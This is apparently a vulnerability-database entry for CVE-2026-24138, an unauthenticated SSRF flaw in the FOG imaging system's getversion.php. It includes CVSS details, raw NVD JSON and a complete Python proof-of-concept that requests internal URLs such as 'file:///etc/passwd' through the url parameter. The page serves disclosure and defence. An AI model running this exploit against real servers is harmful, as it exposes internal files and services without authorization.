Security Vulnerability Report
中文
CVE-2026-24138 CVSS 7.5 HIGH

CVE-2026-24138

Published: 2026-01-23 01:15:51
Last Modified: 2026-04-15 00:35:42

Description

FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Versions 1.5.10.1754 and below contain an unauthenticated SSRF vulnerability in getversion.php which can be triggered by providing a user-controlled url parameter. It can be used to fetch both internal websites and files on the machine running FOG. This appears to be reachable without an authenticated web session when the request includes newService=1. The issue does not have a fixed release version at the time of publication.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FOG <= 1.5.10.1754

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-24138 SSRF PoC for FOG getversion.php # Target: FOG versions <= 1.5.10.1754 def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in getversion.php target_url: Base URL of vulnerable FOG instance internal_target: Internal resource to fetch (e.g., file://, http://internal) """ params = { 'newService': '1', 'url': internal_target } try: print(f"[*] Sending SSRF request to {target_url}") print(f"[*] Targeting: {internal_target}") response = requests.get( f"{target_url}/getversion.php", params=params, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-24138.py <target_url> <internal_target>") print("Example: python cve-2026-24138.py http://fog-server.local 'file:///etc/passwd'") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24138", "sourceIdentifier": "[email protected]", "published": "2026-01-23T01:15:51.023", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FOG is a free open-source cloning/imaging/rescue suite/inventory management system. Versions 1.5.10.1754 and below contain an unauthenticated SSRF vulnerability in getversion.php which can be triggered by providing a user-controlled url parameter. It can be used to fetch both internal websites and files on the machine running FOG. This appears to be reachable without an authenticated web session when the request includes newService=1. The issue does not have a fixed release version at the time of publication."}, {"lang": "es", "value": "FOG es un sistema de gestión de inventario/suite de clonación/creación de imágenes/rescate de código abierto gratuito. Las versiones 1.5.10.1754 e inferiores contienen una vulnerabilidad SSRF no autenticada en getversion.php que puede ser activada al proporcionar un parámetro de URL controlado por el usuario. Puede ser utilizada para obtener tanto sitios web internos como archivos en la máquina que ejecuta FOG. Esto parece ser alcanzable sin una sesión web autenticada cuando la solicitud incluye newService=1. El problema no tiene una versión de lanzamiento corregida en el momento de la publicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/FOGProject/fogproject/security/advisories/GHSA-79xw-c2qx-g7xj", "source": "[email protected]"}]}}